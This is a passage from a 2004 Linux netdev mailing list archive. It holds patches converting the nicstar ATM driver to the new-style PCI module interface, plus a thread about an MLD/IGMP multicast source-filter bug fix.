>/sys/class/net/add_bond > # echo "byebye" >/sys/class/net/bond0/del_bond FWIW, this is exactly what we're doing with the efivars module to create and destroy EFI Variables now, and appears to be a sane approach. Thanks, Matt -- Matt Domsch Sr. Software Engineer, Lead Engineer Dell Linux Solutions www.dell.com/linux Linux on Dell mailing lists @ http://lists.us.dell.com From chas@cmf.nrl.navy.mil Mon Jan 12 21:04:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 21:04:19 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D5456H000859 for ; Mon, 12 Jan 2004 21:04:05 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0D53nRr019754; Tue, 13 Jan 2004 00:03:49 -0500 (EST) Message-Id: <200401130503.i0D53nRr019754@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, "Jorge Boncompte [DTI2]" Subject: [PATCH][ATM]: [nicstar] convert to new style pci module (by "Jorge Boncompte [DTI2]" ) Reply-To: chas3@users.sourceforge.net Date: Tue, 13 Jan 2004 00:03:50 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2379 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev please apply to 2.4 --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1382 -> 1.1383 # drivers/atm/nicstar.c 1.12 -> 1.13 # drivers/atm/atmdev_init.c 1.5 -> 1.6 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/12 chas@relax.cmf.nrl.navy.mil 1.1383 # [ATM]: [nicstar] convert to new style pci module (by "Jorge Boncompte [DTI2]" ) # -------------------------------------------- # diff -Nru a/drivers/atm/atmdev_init.c b/drivers/atm/atmdev_init.c --- a/drivers/atm/atmdev_init.c Mon Jan 12 20:11:48 2004 +++ b/drivers/atm/atmdev_init.c Mon Jan 12 20:11:48 2004 @@ -10,9 +10,6 @@ #ifdef CONFIG_ATM_ZATM extern int zatm_detect(void); #endif -#ifdef CONFIG_ATM_NICSTAR -extern int nicstar_detect(void); -#endif #ifdef CONFIG_ATM_AMBASSADOR extern int amb_detect(void); #endif @@ -40,9 +37,6 @@ devs = 0; #ifdef CONFIG_ATM_ZATM devs += zatm_detect(); -#endif -#ifdef CONFIG_ATM_NICSTAR - devs += nicstar_detect(); #endif #ifdef CONFIG_ATM_AMBASSADOR devs += amb_detect(); diff -Nru a/drivers/atm/nicstar.c b/drivers/atm/nicstar.c --- a/drivers/atm/nicstar.c Mon Jan 12 20:11:48 2004 +++ b/drivers/atm/nicstar.c Mon Jan 12 20:11:48 2004 @@ -214,8 +214,8 @@ static u32 ns_read_sram(ns_dev *card, u32 sram_address); static void ns_write_sram(ns_dev *card, u32 sram_address, u32 *value, int count); -static int __init ns_init_card(int i, struct pci_dev *pcidev); -static void __init ns_init_card_error(ns_dev *card, int error); +static int __devinit ns_init_card(int i, struct pci_dev *pcidev); +static void __devinit ns_init_card_error(ns_dev *card, int error); static scq_info *get_scq(int size, u32 scd); static void free_scq(scq_info *scq, struct atm_vcc *vcc); static void push_rxbufs(ns_dev *card, u32 type, u32 handle1, u32 addr1, @@ -276,198 +276,152 @@ /* Functions*******************************************************************/ -#ifdef MODULE - -int __init init_module(void) +static int __devinit nicstar_init_one(struct pci_dev *pcidev, + const struct pci_device_id *ent) { - int i; - unsigned error = 0; /* Initialized to remove compile warning */ - struct pci_dev *pcidev; - - XPRINTK("nicstar: init_module() called.\n"); - if(!pci_present()) - { - printk("nicstar: no PCI subsystem found.\n"); - return -EIO; - } + static int index = -1; + unsigned int error; - for(i = 0; i < NS_MAX_CARDS; i++) - cards[i] = NULL; + index++; + cards[index] = NULL; - pcidev = NULL; - for(i = 0; i < NS_MAX_CARDS; i++) - { - if ((pcidev = pci_find_device(PCI_VENDOR_ID_IDT, - PCI_DEVICE_ID_IDT_IDT77201, - pcidev)) == NULL) - break; - - error = ns_init_card(i, pcidev); - if (error) - cards[i--] = NULL; /* Try to find another card but don't increment index */ + error = ns_init_card(index, pcidev); + if (error) { + cards[index--] = NULL; /* don't increment index */ + goto err_out; } - if (i == 0) - { - if (!error) - { - printk("nicstar: no cards found.\n"); - return -ENXIO; - } - else - return -EIO; - } - TXPRINTK("nicstar: TX debug enabled.\n"); - RXPRINTK("nicstar: RX debug enabled.\n"); - PRINTK("nicstar: General debug enabled.\n"); -#ifdef PHY_LOOPBACK - printk("nicstar: using PHY loopback.\n"); -#endif /* PHY_LOOPBACK */ - XPRINTK("nicstar: init_module() returned.\n"); - - init_timer(&ns_timer); - ns_timer.expires = jiffies + NS_POLL_PERIOD; - ns_timer.data = 0UL; - ns_timer.function = ns_poll; - add_timer(&ns_timer); return 0; +err_out: + return -ENODEV; } -void cleanup_module(void) +static void __devexit nicstar_remove_one(struct pci_dev *pcidev) { int i, j; - unsigned short pci_command; - ns_dev *card; + ns_dev *card = pci_get_drvdata(pcidev); struct sk_buff *hb; struct sk_buff *iovb; struct sk_buff *lb; struct sk_buff *sb; - XPRINTK("nicstar: cleanup_module() called.\n"); - - if (MOD_IN_USE) - printk("nicstar: module in use, remove delayed.\n"); + i = card->index; - del_timer(&ns_timer); - - for (i = 0; i < NS_MAX_CARDS; i++) - { - if (cards[i] == NULL) - continue; - - card = cards[i]; + if (cards[i] == NULL) + return; - if (card->atmdev->phy && card->atmdev->phy->stop) - card->atmdev->phy->stop(card->atmdev); + if (card->atmdev->phy && card->atmdev->phy->stop) + card->atmdev->phy->stop(card->atmdev); - /* Stop everything */ - writel(0x00000000, card->membase + CFG); + /* Stop everything */ + writel(0x00000000, card->membase + CFG); - /* De-register device */ - atm_dev_deregister(card->atmdev); + /* De-register device */ + atm_dev_deregister(card->atmdev); - /* Disable memory mapping and busmastering */ - if (pci_read_config_word(card->pcidev, PCI_COMMAND, &pci_command) != 0) - { - printk("nicstar%d: can't read PCI_COMMAND.\n", i); - } - pci_command &= ~(PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER); - if (pci_write_config_word(card->pcidev, PCI_COMMAND, pci_command) != 0) - { - printk("nicstar%d: can't write PCI_COMMAND.\n", i); - } - - /* Free up resources */ - j = 0; - PRINTK("nicstar%d: freeing %d huge buffers.\n", i, card->hbpool.count); - while ((hb = skb_dequeue(&card->hbpool.queue)) != NULL) - { - dev_kfree_skb_any(hb); - j++; - } - PRINTK("nicstar%d: %d huge buffers freed.\n", i, j); - j = 0; - PRINTK("nicstar%d: freeing %d iovec buffers.\n", i, card->iovpool.count); - while ((iovb = skb_dequeue(&card->iovpool.queue)) != NULL) - { - dev_kfree_skb_any(iovb); - j++; - } - PRINTK("nicstar%d: %d iovec buffers freed.\n", i, j); - while ((lb = skb_dequeue(&card->lbpool.queue)) != NULL) - dev_kfree_skb_any(lb); - while ((sb = skb_dequeue(&card->sbpool.queue)) != NULL) - dev_kfree_skb_any(sb); - free_scq(card->scq0, NULL); - for (j = 0; j < NS_FRSCD_NUM; j++) - { - if (card->scd2vc[j] != NULL) - free_scq(card->scd2vc[j]->scq, card->scd2vc[j]->tx_vcc); - } - kfree(card->rsq.org); - kfree(card->tsq.org); - free_irq(card->pcidev->irq, card); - iounmap((void *) card->membase); - kfree(card); - + /* Disable PCI device */ + pci_disable_device(pcidev); + + /* Free up resources */ + j = 0; + PRINTK("nicstar%d: freeing %d huge buffers.\n", i, card->hbpool.count); + while ((hb = skb_dequeue(&card->hbpool.queue)) != NULL) + { + dev_kfree_skb_any(hb); + j++; } - XPRINTK("nicstar: cleanup_module() returned.\n"); + PRINTK("nicstar%d: %d huge buffers freed.\n", i, j); + j = 0; + PRINTK("nicstar%d: freeing %d iovec buffers.\n", i, card->iovpool.count); + while ((iovb = skb_dequeue(&card->iovpool.queue)) != NULL) + { + dev_kfree_skb_any(iovb); + j++; + } + PRINTK("nicstar%d: %d iovec buffers freed.\n", i, j); + while ((lb = skb_dequeue(&card->lbpool.queue)) != NULL) + dev_kfree_skb_any(lb); + while ((sb = skb_dequeue(&card->sbpool.queue)) != NULL) + dev_kfree_skb_any(sb); + free_scq(card->scq0, NULL); + for (j = 0; j < NS_FRSCD_NUM; j++) + { + if (card->scd2vc[j] != NULL) + free_scq(card->scd2vc[j]->scq, card->scd2vc[j]->tx_vcc); + } + kfree(card->rsq.org); + kfree(card->tsq.org); + free_irq(card->pcidev->irq, card); + iounmap((void *) card->membase); + kfree(card); } -#else -int __init nicstar_detect(void) +static struct pci_device_id nicstar_pci_tbl[] __devinitdata = { - int i; - unsigned error = 0; /* Initialized to remove compile warning */ - struct pci_dev *pcidev; + {PCI_VENDOR_ID_IDT, PCI_DEVICE_ID_IDT_IDT77201, + PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0,} /* terminate list */ +}; +MODULE_DEVICE_TABLE(pci, nicstar_pci_tbl); - if(!pci_present()) - { - printk("nicstar: no PCI subsystem found.\n"); - return -EIO; - } - for(i = 0; i < NS_MAX_CARDS; i++) - cards[i] = NULL; - pcidev = NULL; - for(i = 0; i < NS_MAX_CARDS; i++) - { - if ((pcidev = pci_find_device(PCI_VENDOR_ID_IDT, - PCI_DEVICE_ID_IDT_IDT77201, - pcidev)) == NULL) - break; +static struct pci_driver nicstar_driver = { + .name = "nicstar", + .id_table = nicstar_pci_tbl, + .probe = nicstar_init_one, + .remove = __devexit_p(nicstar_remove_one), +}; - error = ns_init_card(i, pcidev); - if (error) - cards[i--] = NULL; /* Try to find another card but don't increment index */ - } - if (i == 0 && error) - return -EIO; +static int __init nicstar_init(void) +{ + unsigned error = 0; /* Initialized to remove compile warning */ + + XPRINTK("nicstar: nicstar_init() called.\n"); + + error = pci_module_init(&nicstar_driver); + TXPRINTK("nicstar: TX debug enabled.\n"); RXPRINTK("nicstar: RX debug enabled.\n"); PRINTK("nicstar: General debug enabled.\n"); #ifdef PHY_LOOPBACK printk("nicstar: using PHY loopback.\n"); #endif /* PHY_LOOPBACK */ - XPRINTK("nicstar: init_module() returned.\n"); + XPRINTK("nicstar: nicstar_init() returned.\n"); - init_timer(&ns_timer); - ns_timer.expires = jiffies + NS_POLL_PERIOD; - ns_timer.data = 0UL; - ns_timer.function = ns_poll; - add_timer(&ns_timer); - return i; + if (!error) { + init_timer(&ns_timer); + ns_timer.expires = jiffies + NS_POLL_PERIOD; + ns_timer.data = 0UL; + ns_timer.function = ns_poll; + add_timer(&ns_timer); + } + + return error; } -#endif /* MODULE */ + +static void __exit nicstar_cleanup(void) +{ + XPRINTK("nicstar: nicstar_cleanup() called.\n"); + + if (MOD_IN_USE) + printk("nicstar: module in use, remove delayed.\n"); + + del_timer(&ns_timer); + + pci_unregister_driver(&nicstar_driver); + + XPRINTK("nicstar: nicstar_cleanup() returned.\n"); +} + static u32 ns_read_sram(ns_dev *card, u32 sram_address) @@ -509,11 +463,10 @@ } -static int __init ns_init_card(int i, struct pci_dev *pcidev) +static int __devinit ns_init_card(int i, struct pci_dev *pcidev) { int j; struct ns_dev *card = NULL; - unsigned short pci_command; unsigned char pci_latency; unsigned error; u32 data; @@ -542,6 +495,8 @@ spin_lock_init(&card->int_lock); spin_lock_init(&card->res_lock); + pci_set_drvdata(pcidev, card); + card->index = i; card->atmdev = NULL; card->pcidev = pcidev; @@ -556,21 +511,7 @@ } PRINTK("nicstar%d: membase at 0x%x.\n", i, card->membase); - if (pci_read_config_word(pcidev, PCI_COMMAND, &pci_command) != 0) - { - printk("nicstar%d: can't read PCI_COMMAND.\n", i); - error = 4; - ns_init_card_error(card, error); - return error; - } - pci_command |= (PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER); - if (pci_write_config_word(pcidev, PCI_COMMAND, pci_command) != 0) - { - printk("nicstar%d: can't write PCI_COMMAND.\n", i); - error = 5; - ns_init_card_error(card, error); - return error; - } + pci_set_master(pcidev); if (pci_read_config_byte(pcidev, PCI_LATENCY_TIMER, &pci_latency) != 0) { @@ -996,7 +937,7 @@ -static void __init ns_init_card_error(ns_dev *card, int error) +static void __devinit ns_init_card_error(ns_dev *card, int error) { if (error >= 17) { @@ -1045,6 +986,7 @@ } if (error >= 3) { + pci_disable_device(card->pcidev); kfree(card); } } @@ -3148,3 +3090,8 @@ spin_unlock_irqrestore(&card->res_lock, flags); return (unsigned char) data; } + + + +module_init(nicstar_init); +module_exit(nicstar_cleanup); From chas@cmf.nrl.navy.mil Mon Jan 12 21:05:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 21:05:31 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D55H6H001078 for ; Mon, 12 Jan 2004 21:05:18 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i0D552Rr019768; Tue, 13 Jan 2004 00:05:02 -0500 (EST) Message-Id: <200401130505.i0D552Rr019768@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, "Jorge Boncompte [DTI2]" Subject: [PATCH][ATM]: [nicstar] convert to new style pci module (by "Jorge Boncompte [DTI2]" ) Reply-To: chas3@users.sourceforge.net Date: Tue, 13 Jan 2004 00:05:02 -0500 From: chas williams (contractor) X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 2380 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev please apply to 2.6 --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1492 -> 1.1493 # drivers/atm/nicstar.c 1.20 -> 1.21 # drivers/atm/atmdev_init.c 1.5 -> 1.6 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/01/12 chas@relax.cmf.nrl.navy.mil 1.1493 # [ATM]: [nicstar] convert to new style pci module (by "Jorge Boncompte [DTI2]" ) # -------------------------------------------- # diff -Nru a/drivers/atm/atmdev_init.c b/drivers/atm/atmdev_init.c --- a/drivers/atm/atmdev_init.c Mon Jan 12 23:54:09 2004 +++ b/drivers/atm/atmdev_init.c Mon Jan 12 23:54:09 2004 @@ -10,9 +10,6 @@ #ifdef CONFIG_ATM_ZATM extern int zatm_detect(void); #endif -#ifdef CONFIG_ATM_NICSTAR -extern int nicstar_detect(void); -#endif #ifdef CONFIG_ATM_AMBASSADOR extern int amb_detect(void); #endif @@ -40,9 +37,6 @@ devs = 0; #ifdef CONFIG_ATM_ZATM devs += zatm_detect(); -#endif -#ifdef CONFIG_ATM_NICSTAR - devs += nicstar_detect(); #endif #ifdef CONFIG_ATM_AMBASSADOR devs += amb_detect(); diff -Nru a/drivers/atm/nicstar.c b/drivers/atm/nicstar.c --- a/drivers/atm/nicstar.c Mon Jan 12 23:54:09 2004 +++ b/drivers/atm/nicstar.c Mon Jan 12 23:54:09 2004 @@ -214,8 +214,8 @@ static u32 ns_read_sram(ns_dev *card, u32 sram_address); static void ns_write_sram(ns_dev *card, u32 sram_address, u32 *value, int count); -static int __init ns_init_card(int i, struct pci_dev *pcidev); -static void __init ns_init_card_error(ns_dev *card, int error); +static int __devinit ns_init_card(int i, struct pci_dev *pcidev); +static void __devinit ns_init_card_error(ns_dev *card, int error); static scq_info *get_scq(int size, u32 scd); static void free_scq(scq_info *scq, struct atm_vcc *vcc); static void push_rxbufs(ns_dev *card, u32 type, u32 handle1, u32 addr1, @@ -276,136 +276,151 @@ /* Functions*******************************************************************/ -static int __init nicstar_module_init(void) +static int __devinit nicstar_init_one(struct pci_dev *pcidev, + const struct pci_device_id *ent) { - int i; - unsigned error = 0; /* Initialized to remove compile warning */ - struct pci_dev *pcidev; + static int index = -1; + unsigned int error; - XPRINTK("nicstar: nicstar_module_init() called.\n"); + index++; + cards[index] = NULL; - for(i = 0; i < NS_MAX_CARDS; i++) - cards[i] = NULL; - - pcidev = NULL; - for(i = 0; i < NS_MAX_CARDS; i++) - { - if ((pcidev = pci_find_device(PCI_VENDOR_ID_IDT, - PCI_DEVICE_ID_IDT_IDT77201, - pcidev)) == NULL) - break; - - error = ns_init_card(i, pcidev); - if (error) - cards[i--] = NULL; /* Try to find another card but don't increment index */ + error = ns_init_card(index, pcidev); + if (error) { + cards[index--] = NULL; /* don't increment index */ + goto err_out; } - if (i == 0) - { - if (!error) - { - printk("nicstar: no cards found.\n"); - return -ENXIO; - } - else - return -EIO; - } - TXPRINTK("nicstar: TX debug enabled.\n"); - RXPRINTK("nicstar: RX debug enabled.\n"); - PRINTK("nicstar: General debug enabled.\n"); -#ifdef PHY_LOOPBACK - printk("nicstar: using PHY loopback.\n"); -#endif /* PHY_LOOPBACK */ - XPRINTK("nicstar: nicstar_module_init() returned.\n"); - - init_timer(&ns_timer); - ns_timer.expires = jiffies + NS_POLL_PERIOD; - ns_timer.data = 0UL; - ns_timer.function = ns_poll; - add_timer(&ns_timer); return 0; +err_out: + return -ENODEV; } -static void __exit nicstar_module_exit(void) +static void __devexit nicstar_remove_one(struct pci_dev *pcidev) { int i, j; - unsigned short pci_command; - ns_dev *card; + ns_dev *card = pci_get_drvdata(pcidev); struct sk_buff *hb; struct sk_buff *iovb; struct sk_buff *lb; struct sk_buff *sb; - XPRINTK("nicstar: cleanup_module() called.\n"); + i = card->index; - del_timer(&ns_timer); + if (cards[i] == NULL) + return; - for (i = 0; i < NS_MAX_CARDS; i++) + if (card->atmdev->phy && card->atmdev->phy->stop) + card->atmdev->phy->stop(card->atmdev); + + /* Stop everything */ + writel(0x00000000, card->membase + CFG); + + /* De-register device */ + atm_dev_deregister(card->atmdev); + + /* Disable PCI device */ + pci_disable_device(pcidev); + + /* Free up resources */ + j = 0; + PRINTK("nicstar%d: freeing %d huge buffers.\n", i, card->hbpool.count); + while ((hb = skb_dequeue(&card->hbpool.queue)) != NULL) { - if (cards[i] == NULL) - continue; + dev_kfree_skb_any(hb); + j++; + } + PRINTK("nicstar%d: %d huge buffers freed.\n", i, j); + j = 0; + PRINTK("nicstar%d: freeing %d iovec buffers.\n", i, card->iovpool.count); + while ((iovb = skb_dequeue(&card->iovpool.queue)) != NULL) + { + dev_kfree_skb_any(iovb); + j++; + } + PRINTK("nicstar%d: %d iovec buffers freed.\n", i, j); + while ((lb = skb_dequeue(&card->lbpool.queue)) != NULL) + dev_kfree_skb_any(lb); + while ((sb = skb_dequeue(&card->sbpool.queue)) != NULL) + dev_kfree_skb_any(sb); + free_scq(card->scq0, NULL); + for (j = 0; j < NS_FRSCD_NUM; j++) + { + if (card->scd2vc[j] != NULL) + free_scq(card->scd2vc[j]->scq, card->scd2vc[j]->tx_vcc); + } + kfree(card->rsq.org); + kfree(card->tsq.org); + free_irq(card->pcidev->irq, card); + iounmap((void *) card->membase); + kfree(card); +} - card = cards[i]; - if (card->atmdev->phy && card->atmdev->phy->stop) - card->atmdev->phy->stop(card->atmdev); - /* Stop everything */ - writel(0x00000000, card->membase + CFG); +static struct pci_device_id nicstar_pci_tbl[] __devinitdata = +{ + {PCI_VENDOR_ID_IDT, PCI_DEVICE_ID_IDT_IDT77201, + PCI_ANY_ID, PCI_ANY_ID, 0, 0, 0}, + {0,} /* terminate list */ +}; +MODULE_DEVICE_TABLE(pci, nicstar_pci_tbl); - /* De-register device */ - atm_dev_deregister(card->atmdev); - /* Disable memory mapping and busmastering */ - if (pci_read_config_word(card->pcidev, PCI_COMMAND, &pci_command) != 0) - { - printk("nicstar%d: can't read PCI_COMMAND.\n", i); - } - pci_command &= ~(PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER); - if (pci_write_config_word(card->pcidev, PCI_COMMAND, pci_command) != 0) - { - printk("nicstar%d: can't write PCI_COMMAND.\n", i); - } - - /* Free up resources */ - j = 0; - PRINTK("nicstar%d: freeing %d huge buffers.\n", i, card->hbpool.count); - while ((hb = skb_dequeue(&card->hbpool.queue)) != NULL) - { - dev_kfree_skb_any(hb); - j++; - } - PRINTK("nicstar%d: %d huge buffers freed.\n", i, j); - j = 0; - PRINTK("nicstar%d: freeing %d iovec buffers.\n", i, card->iovpool.count); - while ((iovb = skb_dequeue(&card->iovpool.queue)) != NULL) - { - dev_kfree_skb_any(iovb); - j++; - } - PRINTK("nicstar%d: %d iovec buffers freed.\n", i, j); - while ((lb = skb_dequeue(&card->lbpool.queue)) != NULL) - dev_kfree_skb_any(lb); - while ((sb = skb_dequeue(&card->sbpool.queue)) != NULL) - dev_kfree_skb_any(sb); - free_scq(card->scq0, NULL); - for (j = 0; j < NS_FRSCD_NUM; j++) - { - if (card->scd2vc[j] != NULL) - free_scq(card->scd2vc[j]->scq, card->scd2vc[j]->tx_vcc); - } - kfree(card->rsq.org); - kfree(card->tsq.org); - free_irq(card->pcidev->irq, card); - iounmap((void *) card->membase); - kfree(card); - + +static struct pci_driver nicstar_driver = { + .name = "nicstar", + .id_table = nicstar_pci_tbl, + .probe = nicstar_init_one, + .remove = __devexit_p(nicstar_remove_one), +}; + + + +static int __init nicstar_init(void) +{ + unsigned error = 0; /* Initialized to remove compile warning */ + + XPRINTK("nicstar: nicstar_init() called.\n"); + + error = pci_module_init(&nicstar_driver); + + TXPRINTK("nicstar: TX debug enabled.\n"); + RXPRINTK("nicstar: RX debug enabled.\n"); + PRINTK("nicstar: General debug enabled.\n"); +#ifdef PHY_LOOPBACK + printk("nicstar: using PHY loopback.\n"); +#endif /* PHY_LOOPBACK */ + XPRINTK("nicstar: nicstar_init() returned.\n"); + + if (!error) { + init_timer(&ns_timer); + ns_timer.expires = jiffies + NS_POLL_PERIOD; + ns_timer.data = 0UL; + ns_timer.function = ns_poll; + add_timer(&ns_timer); } - XPRINTK("nicstar: cleanup_module() returned.\n"); + + return error; +} + + + +static void __exit nicstar_cleanup(void) +{ + XPRINTK("nicstar: nicstar_cleanup() called.\n"); + + del_timer(&ns_timer); + + pci_unregister_driver(&nicstar_driver); + + XPRINTK("nicstar: nicstar_cleanup() returned.\n"); } + + static u32 ns_read_sram(ns_dev *card, u32 sram_address) { unsigned long flags; @@ -445,11 +460,10 @@ } -static int __init ns_init_card(int i, struct pci_dev *pcidev) +static int __devinit ns_init_card(int i, struct pci_dev *pcidev) { int j; struct ns_dev *card = NULL; - unsigned short pci_command; unsigned char pci_latency; unsigned error; u32 data; @@ -478,6 +492,8 @@ spin_lock_init(&card->int_lock); spin_lock_init(&card->res_lock); + pci_set_drvdata(pcidev, card); + card->index = i; card->atmdev = NULL; card->pcidev = pcidev; @@ -492,21 +508,7 @@ } PRINTK("nicstar%d: membase at 0x%x.\n", i, card->membase); - if (pci_read_config_word(pcidev, PCI_COMMAND, &pci_command) != 0) - { - printk("nicstar%d: can't read PCI_COMMAND.\n", i); - error = 4; - ns_init_card_error(card, error); - return error; - } - pci_command |= (PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER); - if (pci_write_config_word(pcidev, PCI_COMMAND, pci_command) != 0) - { - printk("nicstar%d: can't write PCI_COMMAND.\n", i); - error = 5; - ns_init_card_error(card, error); - return error; - } + pci_set_master(pcidev); if (pci_read_config_byte(pcidev, PCI_LATENCY_TIMER, &pci_latency) != 0) { @@ -932,7 +934,7 @@ -static void __init ns_init_card_error(ns_dev *card, int error) +static void __devinit ns_init_card_error(ns_dev *card, int error) { if (error >= 17) { @@ -981,6 +983,7 @@ } if (error >= 3) { + pci_disable_device(card->pcidev); kfree(card); } } @@ -3099,5 +3102,7 @@ return (unsigned char) data; } -module_init(nicstar_module_init); -module_exit(nicstar_module_exit); + + +module_init(nicstar_init); +module_exit(nicstar_cleanup); From hibi665@oki.com Mon Jan 12 21:39:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 21:39:28 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D5dD6H002371 for ; Mon, 12 Jan 2004 21:39:14 -0800 Received: from aoi.okilab.oki.co.jp (localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id OAA28837 for ; Tue, 13 Jan 2004 14:39:12 +0900 Received: (qmail 5505 invoked from network); 13 Jan 2004 14:39:11 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 13 Jan 2004 14:39:11 +0900 Message-Id: <20040113144059.728d0998%hibi665@oki.com> MIME-Version: 1.0 Date: Tue, 13 Jan 2004 14:40:59 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: David Stevens Cc: netdev@oss.sgi.com, davem@redhat.com In-Reply-To: (Your message of "Mon, 12 Jan 2004 10:54:43 -0800") References: Subject: Re: MLD problems (again) [PATCH] X-archive-position: 2381 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev David, The patch is very simple and I have no problem to apply it to 2.4 line kernel. I already applied this patch, but it didn't solve the problem. Regards, Takashi Hibi > > > > > Takashi, > The patch I sent was for 2.6.1, but it should also apply to > 2.4 line kernels and fix the problem. If you have problems getting > it to apply in 2.4, let me know what version and I can provide you > a patch specific for that kernel. > > +-DLS > > > Takashi Hibi on 01/12/2004 03:04:48 AM > > To: David Stevens/Beaverton/IBM@IBMUS > cc: netdev@oss.sgi.com, davem@redhat.com > Subject: Re: MLD problems (again) [PATCH] > > > > David, > > Thank you for the patch. > But at least it doesn't solve the problem for 2.4 line kernel. > I will also test with 2.6.1 later. > > Regards, > Takashi Hibi > >> >> >> >> >> Takashi, >> I believe the patch below will fix the problem you >> had with MCAST_JOIN_SOURCE_GROUP not sending a >> report. There was a typo in the source filter switching that did >> two deletes, rather than an delete and an add. >> >> Dave, >> Although IGMPv3 didn't have any problems, this patch >> also re-arranges the order of the filter changes. I think it's cleaner >> to add the new one first and then delete the old one, rather than >> having a small window with no filter set. So, this is a bug fix for MLD >> and a code clean-up for IGMPv3. >> This bug and patch should also apply to the 2.4 line. >> >> +-DLS >> >> [included in-line for viewing and as an attachment for unmangled >> whitespace] >> >> --- linux-2.6.1/net/ipv6/mcast.c 2004-01-08 22:59:56.000000000 -0800 >> +++ linux-2.6.1F1/net/ipv6/mcast.c 2004-01-11 21:06:05.000000000 -0800 >> @@ -372,9 +372,9 @@ >> goto done; >> } else if (pmc->sfmode != omode) { >> /* allow mode switches for empty-set filters */ >> + ip6_mc_add_src(idev, group, omode, 0, 0, 0); >> ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); >> pmc->sfmode = omode; >> - ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); >> } >> >> psl = pmc->sflist; >> --- linux-2.6.1/net/ipv4/igmp.c 2004-01-08 23:00:12.000000000 -0800 >> +++ linux-2.6.1F1/net/ipv4/igmp.c 2004-01-11 21:27:41.000000000 -0800 >> @@ -1749,11 +1749,10 @@ >> goto done; >> } else if (pmc->sfmode != omode) { >> /* allow mode switches for empty-set filters */ >> + ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0); >> ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, >> 0, 0); >> pmc->sfmode = omode; >> - ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, >> - 0, 0); >> } >> >> psl = pmc->sflist; >> >> (See attached file: 2.6.1MLD.patch) > > > From hibi665@oki.com Mon Jan 12 23:57:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 23:58:16 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0D7vs6H005829 for ; Mon, 12 Jan 2004 23:57:55 -0800 Received: from aoi.okilab.oki.co.jp (localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id QAA17607 for ; Tue, 13 Jan 2004 16:57:53 +0900 Received: (qmail 18548 invoked from network); 13 Jan 2004 16:57:52 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 13 Jan 2004 16:57:52 +0900 Message-Id: <20040113165941.730c0345%hibi665@oki.com> MIME-Version: 1.0 Date: Tue, 13 Jan 2004 16:59:41 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: David Stevens Cc: netdev@oss.sgi.com, davem@redhat.com In-Reply-To: (Your message of "Tue, 13 Jan 2004 14:40:59 +0900") <20040113144059.728d0998%hibi665@oki.com> References: <20040113144059.728d0998%hibi665@oki.com> Subject: Re: MLD problems (again) [PATCH] X-archive-position: 2382 